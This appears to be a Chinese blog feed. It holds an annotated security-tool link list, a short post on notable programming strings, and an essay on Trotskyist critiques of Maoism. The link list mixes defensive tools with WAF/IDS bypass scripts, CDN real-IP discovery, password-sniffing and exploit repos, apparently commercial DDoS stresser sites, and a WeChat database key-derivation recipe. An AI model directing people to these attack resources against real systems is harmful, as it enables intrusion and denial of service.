//PY.Linux下带有CLI接口的开源取证工具,可用于跟踪/监控Linux机器上的USB设备连接事件(即USB事件历史记录,“已连接”和“已断开连接”事件)。 https://www.nirsoft.net/utils/usb_log_view.html //USBLogView一款USB设备监控软件,后台运行,可以记录插入或拔出系统的任何USB的详情信息 https://github.com/CrowdStrike/automactc //PY2.macOS环境自动化取证分类采集器 设备内存取证 https://github.com/google/rekall //PY.提取和分析数字Windows计算机系统 https://github.com/volatilityfoundation/volatility //PY.计算机内存取证 https://github.com/gleeda/memtriage //Windows内存取证分析 https://www.xplico.org/download //内存取证 https://my.comae.com/tools //DumpIt一款免安装的Windows内存镜像取证工具,可以使用其轻松的将一个系统的完整内存镜像下来 https://github.com/volatilityfoundation/volatility //windows内存取证分析 移动设备取证 https://github.com/viaforensics/android-forensics //安卓取证App和框架,可以对安卓设备内各种信息进行提取 https://www.freebuf.com/articles/rookie/195107.html //记一次微信数据库解密过程。微信的加密数据库的解密密码是由“设备的IMEI(MEID)+用户的uin,进行MD5,然后取其前7位小写字母”构成的 https://www.freebuf.com/news/193684.html //iOS取证技巧:在无损的情况下完整导出SQLite数据库 网络取证 https://github.com/Srinivas11789/PcapXray //py.网络取证工具,可以捕获网络数据包,并可视化为包括设备标识的网络图,并突出显示重要的通信和文件操作。 http://f00l.de/pcapfix/ //pcap文件修复 https://github.com/USArmyResearchLab/Dshell //可扩展的网络取证分析框架,支持快速开发插件与解析网络数据包捕获 https://github.com/abrignoni/DFIR-SQL-Query-Repo //收集用于数据取证的SQL查询模板 https://github.com/davidmcgrew/joy //用来捕获和分析内外网流量数据的包,主要用于进行网络调查、安全监控和取证 https://www.netresec.com/?page=Networkminer ////网络取证分析工具,通过嗅探或者分析PCAP文件可以侦测到操作系统,主机名和开放的网络端口主机,解析http 2与TLS加密。产品包括网络取证与监控caploader 流量捕获、polarproxy tls加密流量代理等 协议解析流量分析数据还原 http://www.colasoft.com.cn/download.php //科来科来网络分析系统/ping工具/mac地址扫描工具/数据包重放工具/数据包生成工具 https://github.com/wireshark/wireshark //LUA.议解析流量分析还原。可通过Windows变量名“SSLKEYLOGFILE”的变量导出目标网站证书,进行密钥导入到Wireshark流量解析。 http://www.tcpdump.org //网络数据包截获分析 http://lcamtuf.coredump.cx/p0f3 //C.p0f升级版,被动的流量指纹识别TCP/http https://github.com/zeek/zeek //C++.bro的升级版,主要用于对链路上所有深层次的可疑行为流量进行安全监控,为网络流量分析提供了一个综合平台,特别侧重于语义安全监控。 https://github.com/0x4D31/fatt //PY.利用tshark对流量进行解析 https://github.com/netxfly/xsec-traffic //GO.轻量级的恶意流量分析程序,包括传感器sensor和服务端server 2个组件。 http://tcpick.sourceforge.net //TCP流嗅探和连接跟踪工具 https://github.com/secdev/scapy //PY.内置了交互式网络数据包处理、数据包生成器、网络扫描器网络发现和包嗅探工具,提供多种协议包生成及解析插件,能够灵活的的生成协议数据包,并进行修改、解析。 https://gitee.com/qielige/openQPA //协议分析软件QPA的开源代码,特点是进程抓包、特征自动分析 https://github.com/zerbea/hcxdumptool //从Wlan设备上捕获数据包 https://github.com/NytroRST/NetRipper //支持截获像putty,winscp,mssql,chrome,firefox,outlook,https中的明文密码 https://github.com/shramos/polymorph //支持几乎所有现有协议的实时网络数据包操作框架 https://github.com/nospaceships/raw-socket-sniffer //C.PS.无需驱动抓取Windows流量 https://github.com/netsniff-ng/netsniff-ng //C.a fast zero-copy analyzer,pcap捕获和重放工具 常用报文库开源协议库 https://wiki.wireshark.org/SampleCaptures/ //wireshark维护的报文Captures,包括许多工控协议库等 https://securityonion.readthedocs.io/en/latest/pcaps.html //安全洋葱维护的回溯pcap列表。securityonion-docs https://asecuritysite.com/forensics/pcap //站点内容包含密码学与数字取证 http://packetlife.net/captures/ //站点内容包括协议cheat sheet导图 http://speed.cis.nctu.edu.tw/pcaplib/ //NCTU国立交通大学。聊天/邮件/加解密/文件/网络/流媒体/web https://www.netresec.com/?page=PcapFiles //netresec公司维护pcap包文库。攻防演练流量、恶意软件流量、网络取证靶场流量、SCADA/ICS工控靶场模拟流量、测信道中间人注入。 CTF相关(Capture The Flag) https://ctftime.org //CTF排名比赛介绍 https://ctf-wiki.github.io/ctf-wiki/ //CTFwiki,Misc/Crypto/Web/Assembly/Executable/Reverse/Pwn/Android/ICS https://firmianay.gitbooks.io/ctf-all-in-one //CTF-All-In-One 《CTF 竞赛入门指南》。西电信安协会 https://www.butian.net/School //补天培训。CTF/攻防/硬件/社工/开发/代码审计。goodjob https://github.com/adon90/pentest_compilation //ctf比赛与OSCP考试中常见的知识点和命令 https://github.com/Hacker0x01/hacker101 //RUBY.hacker one联名的Web攻防教学,有ctf靶场和视频.10K https://github.com/balsn/ctf_writeup //CTF writeups from Balsn https://github.com/susers/Writeups //国内玩各大CTF赛题及writeup整理。Github:hongriSec/CTF-Training;Github:balsn/ctf_writeup; https://edwardchoijc.github.io/CTF线下AWD经验总结.html/ //CTF攻防AWD经验总结 https://github.com/NEALWE/AWD_FrameWork //PY2.awd框架,比赛常用脚本。 CTF靶场平台 https://github.com/facebook/fbctf //HACK,PHP.CTF比赛平台搭建。 https://github.com/CTFd/CTFd //py2.基于flask的动态Capture The Flag framework https://github.com/zhl2008/awd-platform //AWD攻防比赛平台 https://github.com/gabemarshall/microctfs //SHELL,JS.小型ctf镜像docker https://github.com/giantbranch/pwn_deploy_chroot //PY.部署多个pwn题到一个docker容器中 https://github.com/PELock/CrackMeZ3S-CTF-CrackMe-Tutorial //C++.为CTF比赛编写CrackMe软件 CTF隐写术 https://www.freebuf.com/sectool/208781.html //将任意文本隐藏在音频视频图片和文本中的多种方式 https://0xrick.github.io/lists/stego/ //隐写术工具集,Steganography - A list of useful tools and resources。包括隐写工具,解析工具 https://github.com/DominicBreuker/stego-toolkit //隐写工具包。Stegosuite https://github.com/livz/cloacked-pixel //PY2.LSB图片数据隐藏 http://www.caesum.com/handbook/Stegsolve.jar //Java.图片隐写查看器,多图层查看器 二进制pwn利用CTF https://github.com/Gallopsled/pwntools //PY.pwn类型,二进制利用框架 https://github.com/ChrisTheCoolHut/Zeratool //PY.pwn类型,二进制利用框架 https://github.com/ChrisTheCoolHut/Rocket-Shot //PY.pwn,自动攻击脚本 安全体系防护相关 https://github.com/Bypass007/Safety-Project-Collection //收集一些比较优秀的开源安全项目,以帮助甲方安全从业人员构建企业安全能力。welljob。 https://github.com/baidu/AdvBox //Advbox是支持多种深度学习平台的AI模型安全工具箱,既支持白盒和黑盒算法生成对抗样本,衡量AI模型鲁棒性,也支持常见的防御算法 https://github.com/quoscient/octopus //区块链智能合约安全分析工具 https://github.com/trimstray/otseca //linux系统审计工具,可以导出系统配置,生成报表 https://github.com/mwrlabs/dref //DNS 重绑定利用框架 https://github.com/chengr28/Pcap_DNSProxy/blob/master/README.zh-Hans.md //Pcap_DNSProxy 是一个基于 WinPcap/LibPcap 用于过滤 DNS 投毒污染的工具 https://github.com/PlagueScanner/PlagueScanner //python.集成ClamAV、ESET、Bitdefender的反病毒引擎 https://github.com/m4rco-/dorothy2 //一款木马、僵尸网络分析框架 https://github.com/jumpserver/jumpserver //Python3.开源堡垒机 https://github.com/github/glb-director //负载均衡组件GLB,数据解析使用了dpdk https://github.com/TKCERT/mail-security-tester //检测邮件防护与过滤系统的测试框架 https://github.com/chaitin/sqlchop-http-proxy //利用HTTP 反向代理,内置 SQLChop 作为 SQL 注入攻击检测模块,可以拦截 SQL 注入流量而放行正常流量 https://github.com/OWASP/SecureTea-Project //当有人私自触碰电脑鼠标或触摸板,进行报警 https://github.com/openitsystem/itops //PY3/DJANGO.AD\Exchange管理系统 https://github.com/tmobile/pacbot //JAVA.云平台自动化安全监控工具 https://github.com/mydlp //MyDLP是一种简单,简单和开放的DLP(数据丢失预防)解决方案 https://www.alienvault.com/products/ossim //开源开源信息安全管理系统siem安全运维平台解决方案,支持snort\nmap等多种工具插件 https://github.com/ossec/ossec-hids //C.开源hids(主机入侵检测)堡垒机 入侵检测感知防护 http://m.imooc.com/article/21236 //快速自检电脑是否被黑客入侵过(Windows版) http://www.freebuf.com/articles/system/157597.html //快速自检电脑是否被黑客入侵过(Linux版) http://www.freebuf.com/rookie/179638.html //服务器入侵溯源小技巧整理 https://bithack.io/forum/161 //intro.如何通过一封恶意邮件追踪幕后黑客组织。邮件掉鱼、溯源、攻击者落地 https://github.com/chaitin/yanshi //C++.长亭偃师(yanshi),雷池(SafeLine)防火墙核心引擎使用到的代码生成工具,规则自动生成判断器械 https://github.com/0Kee-Team/WatchAD //PY.360 信息安全中心 0kee Team 域安全入侵感知系统,能够及时准确发现高级域渗透活动,检测覆盖内网攻击杀伤链大部分手法。 EDR终端主机防护 http://edr.sangfor.com.cn/ //深信服。SfAntiBotPro内存检索工具,可以根据输入的字符串快速检索计算机内存,输出包含该字符串的进程信息,在进行恶意域名检测时有事半功倍的效果 http://edr.topsec.com.cn/ //天融信终端威胁防御系统 NSM网络安全监控/入侵检测 https://github.com/baidu/openrasp //基于RASP。Runtime Application Self-Protection,实时应用自我保护,智能针对每个语言定制。testjob,1k。 https://github.com/Security-Onion-Solutions/security-onion //Security Onion洋葱安全入侵检测系统。基于Ubuntu,涵盖ELK\Snort\Suricata\Bro等组件,系统作为传感器分布在网络中监控多个VLAN和子网。hids kali系统类。 https://github.com/snort3/snort3 //C++.snort知名NIDS网络入侵检测 https://github.com/ptresearch/AttackDetection //更新中的snort规则rules https://github.com/OISF/suricata //C.IDS\IPS\NSM安全工具,兼容Snort插件 https://github.com/iqiyi/qnsm //C/C++.基于dpdk与Suricata,旁路部署的全流量引擎,集成了DDOS检测和IDPS模块。 https://labs.360.cn/malwaredefender/ //HIPS (主机入侵防御系统)软件,用户可以自己编写规则来防范病毒、木马的侵害。另外,Malware Defender提供了很多有效的工具来检测和删除已经安装在您的计算机系统中的恶意软件 https://documentation.wazuh.com //C.wazuh是C/S架构开源主机入侵检测系统网络安全平台,支持日志收集、文件监控、恶意软件检测、漏洞基线检测等。 https://github.com/StamusNetworks/SELKS //基于Debian的入侵检测系统,组件包含Suricata IDPS与ELK和Scirius https://github.com/grayddq/HIDS //主机型入侵检测系统。一个人的安全部 https://github.com/ysrc/yulong-hids //YSRC开源的驭龙HIDS主机入侵检测系统 https://github.com/EBWi11/AgentSmith-HIDS //c.Linux下基于Hook system_call的内核级HIDS,特点从内核态获取尽可能全的数据。welljob。 无线网络入侵检测 https://github.com/anwi-wips/anwi //无线IDS, 基于低成本的Wi-Fi模块(ESP8266) https://github.com/SYWorks/waidps //PY.Linux下无线网络入侵检测工具 防火墙/waf/网关规则 https://github.com/0xInfection/Awesome-WAF //awesome waf http://www.safedog.cn/ //安全狗web防火墙。商业版。 http://d99net.net/ //D盾防火墙,包含waf与webshel检测功能。商业版。P:xoslab.com 内核级检测文件生成写入; https://www.pfsense.org //PHP.可配置snort规则的防火墙。社区版。 https://github.com/evilsocket/opensnitch //PY/GO.基于QT界面Linux下的应用防火墙 https://github.com/SpiderLabs/ModSecurity //C.跨平台 WAF engine for Apache/IIS/Nginx等 https://github.com/klaubert/waf-fle //ModSecurity Web控制台 https://github.com/SpiderLabs/owasp-modsecurity-crs //GO/C.owasp关于ModSecurity等防火墙规则库 https://github.com/xsec-lab/x-waf //适用于中小企业的云waf https://github.com/jx-sec/jxwaf //lua.JXWAF(锦衣盾)是一款基于openresty(nginx+lua)开发的web应用防火墙,独创的业务安全防护引擎和机器学习引擎可以有效对业务安全风险进行防护,解决传统WAF无法对业务安全进行防护的痛点。Github:starjun/openstar;Github:xsec-lab/x-waf;Github:loveshell/ngx_lua_waf;Github:starjun/openstar; https://github.com/Janusec/janusec //Golang.应用安全网关,具备WAF、CC攻击防御、证书私钥加密、负载均衡、统一Web化管理等功能。 https://github.com/qq4108863/himqtt/ //C.物联网epoll高并发防火墙 Bypass安全防护绕过 https://github.com/AMOSSYS/Fragscapy //PY.防火墙fuzz绕过bypass https://github.com/kirillwow/ids_bypass //IDS Bypass 脚本 https://github.com/milo2012/ipv4bypass //利用ipV6地址绕过waf https://github.com/3xp10it/bypass_waf //防火墙绕过脚本 https://github.com/swisskyrepo/PayloadsAllTheThings //A list of useful payloads and bypass for Web Application Security and Pentest/CTF https://github.com/sirpsycho/firecall //直接向CiscoASA防火墙发送命令, 无需登录防火墙后再做修改 https://blog.xpnsec.com/evading-sysmon-dns-monitoring/ //INTRO.规避Sysmon DNS监控 CDN识别绕过真实IP获取 https://github.com/BugScanTeam/DNSLog //py.基于django监控 DNS 解析记录和 HTTP 访问记录的工具,可以配合盲注、xss、解析对方真实ip使用 https://github.com/al0ne/Vxscan //PY3.目录扫描/js泄露接口,WAF/CDN识别,端口扫描,指纹/服务识别,操作系统识别,弱口令探测,POC扫描,SQL注入,绕过CDN,查询旁站。0.5k。 https://github.com/boy-hack/w8fuckcdn //PY.基于masscan通过扫描全网绕过CDN获取网站IP地址 https://github.com/3xp10it/xcdn //尝试找出cdn背后的真实ip,3xp10it.github.io 博客 https://github.com/christophetd/CloudFlair //PY.利用dns与api进行cloudflare绕过,获取真实ip,集成censys。Github:CloudFail;Github:Cloudmare.1K。 https://github.com/Nitr4x/whichCDN //CDN识别、检测 https://github.com/se55i0n/PortScanner //PY2.目标tcp端口快速扫描、banner识别、cdn检测。 https://github.com/yanxiu0614/subdomain3 //py.子域名,IP,CDN信息爆破 https://github.com/m0rtem/CloudFail //PY.利用错误配置的dns请求与历史dns解析记录查找CloudFlare后的真实IP 沙盒虚拟化容器云平台 http://www.linux-kvm.org //Linux内核虚拟化工具,支持unix/win等多种系统 https://www.qemu.org //纯软件实现的虚拟化模拟器,几乎可以模拟任何硬件设备。qemu-kvm为虚拟机管理工具 https://github.com/moby/moby //GO.Linux下虚拟容器dockerCE。54k。 https://github.com/containers/libpod //GO.podman.io虚拟容器。3k。 https://github.com/hashicorp/vagrant //RUBY.管理虚拟机。19k。 https://www.virtualbox.org //跨平台多系统支持 https://www.vmware.com //跨平台多系统支持。ESXI虚拟化平台管理工具。商业版。 http://www.eve-ng.net //UnifiedNetworking Lab统一网络实验室。基于Ubuntu深度定制。商业版。 https://github.com/zstackio/zstack //Java.类似openstack基于kvm与vmware的虚拟化云管理框架。商业版。 https://www.proxmox.com/ //类似virtualbox的开源虚拟化平台,自带防火墙、邮件网关。 大数据平台安全 https://github.com/shouc/BDA //针对hadoop/spark/mysql等大数据平台的审计与检测 https://github.com/wavestone-cdt/hadoop-attack-library //hadoop测试方式和工具集 代码审计应用测试 https://www.joinfortify.com //HP出品的源代码安全审计工具Fortify SCA通过将其它语言转换成一种中间媒体文件NST(Normal Syntax Trcc),将源代码之间的调用关系、执行环境、上下文等分析清楚。通过匹配所有规则库中的漏洞。商业版。goodjob。 https://securitylab.github.com/tools/codeql //GitHub开源代码审计,插件、函数库形式 https://github.com/microsoft/ApplicationInspector //C#.基于规则代码安全审计 https://github.com/pumasecurity/puma-scan //C#.Visual Studio插件,实时代码审计 https://github.com/wufeifei/cobra //PY.源代码安全审计,支持PHP、Java等开发语言,并支持数十种类型文件。 https://github.com/securego/gosec //go.Go语言源码安全分析工具 https://github.com/GoSSIP-SJTU/TripleDoggy //C.c/c++/object-c源代码检测框架,支持接口调用 https://github.com/presidentbeef/brakeman //Ruby on Rails应用静态代码分析 JS代码审计应用安全 https://github.com/RetireJS/grunt-retire //js.js扩展库漏洞扫描 https://github.com/Aurore54F/JaSt //使用语法检测恶意/混淆的JS文件,https://www.blackhoodie.re/assets/archive/JaSt_blackhoodie.pdf https://github.com/ctxis/beemka //针对Electron App的漏洞利用工具包 https://github.com/doyensec/electronegativity //Electron应用代码审计,App的错误配置和安全问题 php代码审计应用安全 https://github.com/euphrat1ca/SeaySourceCodeCheck //C#.PHP代码审计,法师Seay源代码审计系统2.1版本.noupdate. https://github.com/OneSourceCat/phpvulhunter //php.静态php代码审计.noupdate. https://github.com/ripsscanner/rips //php.php代码审计工具.noupdate. https://github.com/chuan-yun/Molten //C.PHP应用透明链路追踪工具。G:Qihoo360/phptrace; https://github.com/elcodigok/wphardening //py.WordPress插件代码审计 python代码审计应用安全 https://github.com/ga0/pyprotect //C++.给python代码加密,防止逆向 https://github.com/pyupio/safety //PY.检查所有已安装 Python包,查找已知的安全漏洞 https://github.com/facebook/pyre-check/ //PY3.facebook推出的Zoncolan基本版python代码静态审计工具。号称30分钟扫描一亿行代码库,bug漏洞都能找。 https://github.com/shengqi158/pyvulhunter //PY.基于G:yinwang0/pysonar2的Python应用审计.NOUPDATE. https://github.com/PyCQA/bandit //PY.python代码安全漏洞审计 https://github.com/python-security/pyt //PY.用于检测Python Web应用程序中的安全漏洞的静态分析工具 欺骗防御 https://github.com/paralax/awesome-honeypots //开源蜜罐收集 https://www.freebuf.com/articles/paper/207739.html //intro.开源蜜罐测评报告 https://github.com/Cymmetria //欺骗防御公司。Struts2、weblogic、telnet、Cisco ASA、Micros等仿真蜜罐,honeycomb低交互蜜罐框架 https://www.freebuf.com/sectool/204652.html //基于EVE-NG平台上构建企业内网攻防环境 https://www.bamsoftware.com/hacks/zipbomb/ //ZIPBOMB压缩包炸弹 https://github.com/BinaryDefense/artillery //PY.端点蜜罐防护 蜜罐安全 https://github.com/phage-nz/malware-hunting //PY.利用蜜罐进行恶意文件捕获。包含众多蜜罐使用说明 https://github.com/threatstream/mhn //PY.现代蜜网,集成了多种蜜罐的安装脚本,可以快速部署、使用,也能够快速的从节点收集数据 https://github.com/dtag-dev-sec/tpotce //T-POT.里面使用docker技术实现多个蜜罐组合,配合ELK进行研究与数据捕获 https://github.com/n3uz/t-pot-autoinstall //bash.将fork的T-POT蜜罐的一键安装脚本替换为国内加速镜像 https://www.freebuf.com/sectool/190840.html //INTRO.T-Pot多蜜罐平台使用心法 https://github.com/honeytrap/honeytrap //可扩展蜜罐框架,支持探针部署与高交互蜜罐 https://github.com/honeynet/beeswarm //PY.使用agent探针与蜜罐进行实时交互来引诱攻击者 Web服务蜜罐 https://github.com/p1r06u3/opencanary_web //PY.基于TORNADO的低交互蜜罐。支持自动化安装,目前支持常见的16种协议,采用探针/蜜罐-管理的架构。可以考虑二次开发为探针-沙盒-管理的架构 https://gitlab.com/SecurityBender/webhoneypot-framework //PY3.基于docker和docker-compose,现支持wordpress/drupal https://github.com/mushorg/snare //PY3.web安全蜜罐,可克隆指定Web页面 https://github.com/netxfly/x-proxy //GO.代理蜜罐的开发与应用实战。simple 服务蜜罐 https://github.com/micheloosterhof/cowrie //PY2.使用ELK(ElasticSearch,LogStash,Kibana)进行数据分析,目前支持ssh,telnet,sftp等协议 https://github.com/desaster/kippo //PY.蜜罐系统HoneyDrive下的图形化SSH蜜罐。1k。 https://github.com/thinkst/opencanary //PY2.SNMP\RDP\SAMBA蜜罐 https://github.com/gosecure/pyrdp //PY3.RDP MITM蜜罐 https://gosecure.net/2018/12/19/rdp-man-in-the-middle-smile-youre-on-camera/ //INTRO.基于PYRDP,打造可记录图像和按键的RDP蜜罐 https://blog.csdn.net/ls1120704214/article/details/88174003 //GO.反击mysql蜜罐。利用MySQL LOCAL INFILE读取客户端文件漏洞分析并使用Golang编写简易蜜罐;从MySQL出发的反击之路;Github:MysqlT,支持大文件无损传输,支持用户验证,支持自定义的 Mysql 版本,随机的盐加密,加上用户验证,让攻击者毫无察觉;Github:Rogue-MySql-Server https://github.com/leeberg/BlueHive //PS.利用Active Directory生成用户账户蜜罐 https://github.com/hacklcs/HFish //GO.redis\MYSQL\SSH\GitHub蜜罐 http://www.imooc.com/article/26398 //NodeJS 应用仓库钓鱼。同理可应用于python库\apache module 后门等,相关诱饵名称可设置为加解密模块等,或者直接dns劫持。 摄像头蜜罐 https://github.com/alexbredo/honeypot-camera //PY.摄像头蜜罐。tornado模拟WEB服务,图片代替视频,可以考虑后期多加点图片和按钮 https://github.com/EasyDarwin/EasyIPCamera //C.RTSP服务器组件用以构建摄像头蜜罐 工控蜜罐 https://github.com/sjhilt/GasPot //模拟油电燃气工控系统 https://github.com/djformby/GRFICS //IoT工业仿真系统模拟框架,采用MODBUS协议对PLC虚拟机监视和控制 https://github.com/RabitW/IoTSecurityNAT //IoT测试系统,方便快速接入各种设备,进行安全测试 https://github.com/mushorg/conpot //针对ICS/SCADA的低交互工控蜜罐,模拟Modbus和S7comm https://github.com/trombastic/PyScada/ //PY2.基于Django的SCADA操作管理系统 沙盒检测恶意样本分析 https://github.com/cuckoosandbox/cuckoo //PY/JS。自动恶意软件分析系统 https://github.com/euphrat1ca/Panda-Sandbox //PY.钟馗沙箱是基于cuckoo的适配国内软件环境的恶意软件分析系统 https://www.sandboxie.com //基于转换存储的沙盒。社区版。 https://github.com/felicitychou/MalAnalyzer //PY3.基于docker虚拟化的恶意代码沙箱 恶意软件/文件样本数据 https://github.com/open-power-workgroup/Hospital //全国莆田系医院名单 https://github.com/euphrat1ca/security_w1k1/blob/master/wiki_MalwareSample.md/ //恶意样本数据源收集库。myWiki 在线文件检测 https://app.any.run/ //可视化在线恶意文件检测。包含流行恶意文件样本 https://habo.qq.com //在线恶意文件检测 http://r.virscan.org/ //在线杀毒 https://www.appscan.io //盘古app安全移动软件在线检测 http://safe.ijiami.cn //爱加密app安全移动软件在线检测 http://appscan.360.cn //360移动app安全移动软件在线检测 https://service.security.tencent.com/kingkong //腾讯金刚app安全移动软件在线检测 恶意文件查杀 https://www.freebuf.com/articles/network/139697.html //intro.使用深度学习检测DGA(域名生成算法) https://github.com/mwleeds/android-malware-analysis //PY.利用机器学习进行恶意Android安卓应用检测 https://github.com/he1m4n6a/findWebshell //PY.webshell检查工具,可添加后门指纹。 https://github.com/ym2011/ScanBackdoor //一款简洁的Webshell扫描工具 https://github.com/erevus-cn/scan_webshell //webshell扫描工具 https://github.com/yassineaddi/BackdoorMan //可对指定目录进行php webshell检测 https://github.com/nbs-system/php-malware-finder //一款高效率PHP-webshell扫描工具 https://github.com/emposha/PHP-Shell-Detector //测试效率高达99%的webshell检测工具 https://github.com/chaitin/cloudwalker //GO.CloudWalker(牧云)服务器安全管理平台,主要针对webshell查杀。 https://github.com/emposha/Shell-Detector //Webshell扫描工具,支持php/perl/asp/aspx webshell扫描 http://www.chkrootkit.org/ //多方位后门/僵木蠕/rootkit检测工具 http://rkhunter.sourceforge.net/ //后门排查。系统命令(Binary)检测/包括Md5 校验/Rootkit检测/本机敏感目录、系统配置、服务及套间异常检测/三方应用版本检测 http://rootkit.nl/projects/rootkit_hunter.html //rootkit检测工具 https://github.com/KasperskyLab/klara //卡巴斯基开源基于Yara的分布式恶意软件扫描系统, https://github.com/botherder/kraken //GO.实现的Yara恶意软件扫描器 https://github.com/netxfly/sec_check 通过信息采集(账户、连接、端口等)与yara扫描进行安全检测 https://github.com/nao-sec/tknk_scanner yara引擎为基础的恶意软件识别框架 https://github.com/viper-framework //PY2.二进制分析和管理框架,对恶意文件进行分析 https://github.com/Tencent/HaboMalHunter //哈勃分析系统,linux系统病毒分析及安全测试 http://www.clamav.net/downloads //病毒查杀软件 https://github.com/joxeankoret/pigaios //直接对比源代码与编译的二进制文件 https://github.com/felixweyne/ProcessSpawnControl //PS.对恶意程序进行检测与监控 https://github.com/sfaci/masc //扫描网站中的恶意软件, 以及其他一些网站维护功能 https://github.com/Neo23x0/munin //依据文件 Hash 从各种在线恶意软件扫描服务提取信息的工具 https://github.com/1lastBr3ath/drmine //自动化检测网页是否包含挖矿脚本的工具 https://github.com/alexandreborges/malwoverview //simple,将恶意文件进行快速分类 https://github.com/Neo23x0/Loki //一款APT入侵痕迹扫描器 https://github.com/target/strelka //PY3.通过实时扫描文件进行分析和实时监测。 压力测试DDOS/CC/拒绝服务 https://github.com/ywjt/Dshield //PY.DDOS防护 https://github.com/NewEraCracker/LOIC/ //C#.基于Praetox’s LOIC project的压测工具,使用mono进行跨平台 https://github.com/IKende/Beetle.DT //C#.分布式压力测试工具 https://github.com/649/Memcrashed-DDoS-Exploit //PY.利用shodan搜索Memcached服务器进行压力测试 https://github.com/jseidl/GoldenEye //PY.DOS测试 https://github.com/mschwager/dhcpwn //PY.DHCP/IP压力测试 https://github.com/Microsoft/Ethr //GO.跨平台,TCP, UDP, HTTP, HTTPS压力测试工具 https://github.com/Markus-Go/bonesi //C.模拟僵尸网络进行ICMP/UDP/TCP/HTTP压测 https://github.com/ajmwagar/lor-axe RUST,多线程、低带宽消耗的HTTP DoS工具 https://github.com/EZLippi/WebBench //C.网站压力测试,最高并发3万 https://github.com/jagracey/Regex-DoS //RegEx拒绝服务扫描器 https://github.com/algo7/bluekeep_CVE-2019-0708_poc_to_exploit //PY.RDP服务远程命令执行/DOS攻击/蓝屏exp http://www.yykkll.com //压测站评测 https://defconpro.net //# https://vip-boot.xyz/login.php //# https://rocketstresser.com/login.php //多协议,支持cdn测试 wiki_FreeConnect https://github.com/euphrat1ca/security_w1k1/blob/master/wiki_FreeConnect.md/ //通讯工具技术相关.myWiki wiki_Selfsource https://github.com/euphrat1ca/security_w1k1/blob/master/wiki_Selfsource.md/ //自服务应用在线资源、文件\url\节点检测.myWiki wiki_TipSkill https://github.com/euphrat1ca/security_w1k1/blob/master/wiki_TipSkill.md/ //计算机技术相关.myWiki https://www.anquanke.com/opensource //GitHub安全类目引擎,热度,时间 https://github.com/We5ter/Scanners-Box //增加条目,细化分类。4k。 https://github.com/topics/security //GitHub安全类目 https://xj.hk //星际黑客。 https://www.8aq.net/ //先知;freebuf http://wiki.ioin.in/ //sec-news 安全文摘 https://start.me //情报源。P:p/X20Apn;P:p/GE7JQb/osint;P:p/rxRbpo/ti。 https://www.osint-labs.org //S.R.P OSINT-Labs开源情报实验室 https://www.xssav.com //安全网址导航 https://sec.thief.one //安全热点聚合平台 TheEnd

9/18/2023
articleCard.readMore

有趣的字符串

在学习编程与计算机知识过程中遇到的有趣的字符串 Hello World “Hello, World!”程序通常指一类输出或显示“Hello, World!”(你好,世界!)字符串的计算机程序。在大多数通用编程语言中,这样的程序只有一小段代码,因此可以用来展示该编程语言的基本语法。“Hello, World!”往往是初学者学习某种编程语言所接触的第一个程序内容,同时它也是用来确认原始码编译器、程序开发或运行环境是否已经安装妥当并被操作者理解的常用手段。 Hello World Lorem ipsum dolor sit amet, consectetur adipiscing elit. Lorem ipsum,简称为Lipsum,是指一篇常用于排版设计领域的拉丁文文章,主要的目的为测试文章或文字在不同字型、版型下看起来的效果。中文的类似用法则称为乱数假文、随机假文。 Lorem ipsum 2006-01-02 15:04:05 go语言中的时间格式化字符串,这个时间也许是go语言的诞生时间。 1月2号下午3点4分5秒2006年

9/17/2023
articleCard.readMore

随想

览文 无意间看到了台湾托派组织网站火花,浏览了一些内容后,很欣赏他们的观点,实际上,因为他们一部分观点,我认为对他们的观点的评价,可能能评判自称马克思主义者的中国人是否只是披着马克思的外壳的民族主义者、或者个人崇拜者。 我注意到了他们的一篇文章,链接在我的帖子末尾给出了,但访问链接的网络并不是很好,需要一些优化手段。 这篇文章结合作者与整个火花成员的观点,引发了我的一些思考,我很开心能将这样一个主题的随想作为我的个人博客的politicEconomy板块的第一个帖子。 虽然那篇文章作者的目的是批判"無產階級波拿巴主義"与"史達林/毛主義",作者花了极大篇幅整理资料史实来反对近年来中国部分左翼对"无产阶级文化大革命"为主的🐱的"继续革命"的推崇,印证🐱是最大的官僚,且并不像打破整个官僚系统。但是我更想关注与强调,作者的政治经济学观点————特别是关于作为资本主义到共产主义的过渡阶段,社会主义下国家、政府、无产阶级(无论一国还是世界)应该如何运作的观点。 我們馬克思主義者稱這一畸形的運行模式為斯大林主義、無產階級波拿巴主義:一個以國有制計劃經濟為基礎的工人國家內,社會在政治上和經濟上都缺少群眾的廣泛參與、監督,取而代之的是國家官僚獨斷的控制與他們愈發膨脹的特權。馬克思在《路易·波拿巴的霧月十八》中提出了資產階級統而不治的“資產階級波拿巴主義”,托洛茨基、泰德·格蘭特則順延這一思路,提出各地工人國家官僚獨斷的畸形發展模式,是工人自治被國家官僚取而代之的蘇維埃波拿巴主義、無產階級波拿巴主義。歷史證明,正是波拿巴官僚集團長期的墮落、不斷地出賣國際工人階級,最終導致的經濟封鎖也逼迫著這幫罪犯也把整個計劃經濟拋棄。 说到这里,我不禁再次强调,对于历史事件与人物的评判我认为对于理论研究者而言几乎毫无意义,当然事实一定存在一个真正的事实,但是一是我们往往没有足够的资料来全面了解与判断,二是我不认为一个人一个事情是什么样子的会影响到这个人提出的观点、理论、公式、定理,这是两回事,对于人与事的判断不妨交给喜欢研究历史的人(或者你喜欢研究历史的那一部分)去费心。 用和朋友讨论这个文章时提到的一句话解释: 你了解到的🐱思想=a,a让你产生了b,他了解🐱是c,他的思想是d,他用d批判c,哪怕a=c,也不影响b。我认为b与d有借鉴学习的价值,而a与c的关系,我认为是历史研究者的事情。 观点 文中几个重要的观点让我深受感触,以我浅薄的了解,这些或多或少与托派思想有着重要联系,也许我会因此进一步研究托派思想,走向托洛茨基主义,哈哈。 本文特别面向中国年轻左翼(思想而非年龄),或者说当下流行的"造造",非这一群体,特别是非中国左翼,可能因为缺少部分共识,而对文章内容产生难以理解的感受。 流金岁月 當然,在一場社會革命風暴開始前的低氣壓裡,難免有人向過去的革命投去驚鴻一瞥,但是正如馬克思所描述的十九世紀革命,當代的革命也是如此:“它在破除一切對過去的事物的迷信以前,是不能開始實現自身的任務的。” 作者认为,中国部分左派对"无产阶级文化大革命"为主的🐱的继续革命理论的向往,源自对"各種烏托邦的幻想"。对于这一观点,我也深有感受,包括本人在内的不少左翼年轻同志在一开始,甚至可能直到现在,都存在一个偶像、精神支柱般的存在,大部分是🐱,这个存在引领我们进入马克思主义领域,支撑我们批判现实。 